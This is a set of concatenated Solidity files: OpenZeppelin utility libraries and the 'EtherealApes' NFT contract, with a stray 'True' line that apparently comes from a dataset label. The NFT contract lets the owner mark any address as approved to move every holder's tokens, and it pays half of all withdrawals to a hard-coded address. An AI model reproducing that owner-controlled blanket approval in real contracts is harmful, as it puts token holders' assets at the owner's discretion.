*/ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721Enumerable.sol"; contract EtherealApes is ERC721Enumerable, Ownable { string public baseURI; address public proxyRegistryAddress; address public withdrawalAddress; bytes32 public whitelistMerkleRoot; uint256 public MAX_SUPPLY; uint256 public constant MAX_PER_TX = 6; uint256 public constant RESERVES = 440; uint256 public constant priceInWei = 0.08 ether; mapping(address => bool) public projectProxy; mapping(address => uint) public addressToMinted; constructor( string memory _baseURI, address _proxyRegistryAddress, address _withdrawalAddress ) ERC721("Ethereal Apes", "Ethereal Apes") { baseURI = _baseURI; proxyRegistryAddress = _proxyRegistryAddress; withdrawalAddress = _withdrawalAddress; } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return string(abi.encodePacked(baseURI, Strings.toString(_tokenId), ".json")); } function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } function flipProxyState(address proxyAddress) public onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } function collectReserves() external onlyOwner { require(_owners.length == 0, 'Reserves already taken.'); for(uint256 i; i < RESERVES; i++) _mint(_msgSender(), i); } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner { whitelistMerkleRoot = _whitelistMerkleRoot; } function togglePublicSale(uint256 _MAX_SUPPLY) external onlyOwner { delete whitelistMerkleRoot; MAX_SUPPLY = _MAX_SUPPLY; } function _leaf(string memory allowance, string memory payload) internal pure returns (bytes32) { return keccak256(abi.encodePacked(payload, allowance)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, whitelistMerkleRoot, leaf); } function getAllowance(string memory allowance, bytes32[] calldata proof) public view returns (string memory) { string memory payload = string(abi.encodePacked(_msgSender())); require(_verify(_leaf(allowance, payload), proof), "Invalid Merkle Tree proof supplied."); return allowance; } function whitelistMint(uint256 count, uint256 allowance, bytes32[] calldata proof) public payable { string memory payload = string(abi.encodePacked(_msgSender())); require(_verify(_leaf(Strings.toString(allowance), payload), proof), "Invalid Merkle Tree proof supplied."); require(addressToMinted[_msgSender()] + count <= allowance, "Exceeds whitelist supply"); require(count * priceInWei == msg.value, "Invalid funds provided."); addressToMinted[_msgSender()] += count; uint256 totalSupply = _owners.length; for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function publicMint(uint256 count) public payable { uint256 totalSupply = _owners.length; require(totalSupply + count < MAX_SUPPLY, "Exceeds max supply."); require(count < MAX_PER_TX, "Exceeds max per transaction."); require(count * priceInWei == msg.value, "Invalid funds provided."); for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not approved to burn."); _burn(tokenId); } function withdraw() public { (bool successOne, ) = payable(0x6BaCdF4e911a8dacd6450415C06bb84F2b767951).call{value: address(this).balance * 50 / 100}(""); require(successOne, "Failed to send to first withdrawal address"); (bool successTwo, ) = withdrawalAddress.call{value: address(this).balance}(""); require(successTwo, "Failed to send to second withdrawal address."); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) return new uint256[](0); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function batchTransferFrom(address _from, address _to, uint256[] memory _tokenIds) public { for (uint256 i = 0; i < _tokenIds.length; i++) { transferFrom(_from, _to, _tokenIds[i]); } } function batchSafeTransferFrom(address _from, address _to, uint256[] memory _tokenIds, bytes memory data_) public { for (uint256 i = 0; i < _tokenIds.length; i++) { safeTransferFrom(_from, _to, _tokenIds[i], data_); } } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool){ for(uint256 i; i < _tokenIds.length; ++i ){ if(_owners[_tokenIds[i]] != account) return false; } return true; } function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == operator || projectProxy[operator]) return true; return super.isApprovedForAll(_owner, operator); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } } contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "./ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Address.sol"; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ) ++count; } return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * 